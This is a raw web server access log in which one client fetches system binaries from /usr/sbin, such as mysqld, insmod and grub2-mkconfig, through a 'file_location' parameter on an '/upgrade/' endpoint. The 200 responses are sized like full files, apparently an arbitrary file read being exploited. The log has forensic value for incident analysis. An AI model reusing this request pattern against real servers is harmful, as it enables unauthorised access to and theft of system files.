45.135.193.11 - - [11/Sep/2026:23:05:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsysctl&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 49181 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsysctl&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2FNetworkManager&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 1834947 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2FNetworkManager&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselabel_lookup&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42113 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselabel_lookup&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdmsetup&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 98530 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdmsetup&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpcbind&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 62479 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpcbind&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fefibootdump&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45031 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fefibootdump&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhalt&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 163413 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhalt&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flnstat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 46021 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flnstat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmodsec-sdbm-util&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37357 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmodsec-sdbm-util&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpam_console_apply&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 51289 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpam_console_apply&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frndc-confgen&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45352 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frndc-confgen&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_io&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 135130 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_io&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgssproxy&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 92017 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgssproxy&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Finstallkernel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37554 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Finstallkernel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-translate&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138216 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-translate&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.fat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 60236 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkfs.fat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexiwhat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 39829 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexiwhat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frotatelogs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 47807 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frotatelogs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselabel_partial_match&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41473 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselabel_partial_match&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fumount.udisks2&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41349 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fumount.udisks2&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-dsfromkey&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 51185 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-dsfromkey&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.ext2&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 200754 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.ext2&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-set-default&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 39175 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-set-default&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsktest&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41033 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsktest&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fbadblocks&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 51058 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fbadblocks&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetpidprevcon&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40836 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetpidprevcon&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frtkitctl&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41268 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frtkitctl&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frunlevel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 163483 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frunlevel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetenforce&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41025 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetenforce&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Faccessdb&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41713 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Faccessdb&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblkid&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 58569 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblkid&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkswap&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 55530 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmkswap&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frtstat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 46023 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frtstat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe4crypt&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 47404 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe4crypt&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffcgistarter&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41043 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffcgistarter&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flogrotate&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 78627 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flogrotate&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpam_timestamp_check&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42316 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpam_timestamp_check&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmysqld&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 8626101 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmysqld&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-cds&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53918 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-cds&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmdmon&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 189534 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmdmon&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsw-engine-fpm&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 6121057 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsw-engine-fpm&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcracklib-packer&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41109 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcracklib-packer&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffilefrag&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45220 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffilefrag&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.ext3&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 200575 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.ext3&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetpcaps&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41470 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetpcaps&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flgroupmod&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43867 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flgroupmod&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed-checkzone&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50210 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnamed-checkzone&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fquotastats&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42411 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fquotastats&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frtmon&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 89227 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frtmon&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138229 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffindfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41795 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffindfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-mkconfig&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41548 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-mkconfig&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fifenslave&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 46741 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fifenslave&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmksquashfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 132912 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmksquashfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsdclnts&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40929 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsdclnts&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftune2fs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 85215 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftune2fs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2undo&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44897 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2undo&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsssd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 66837 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsssd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Finsmod&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 117173 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Finsmod&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fkpartx&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 57930 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fkpartx&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
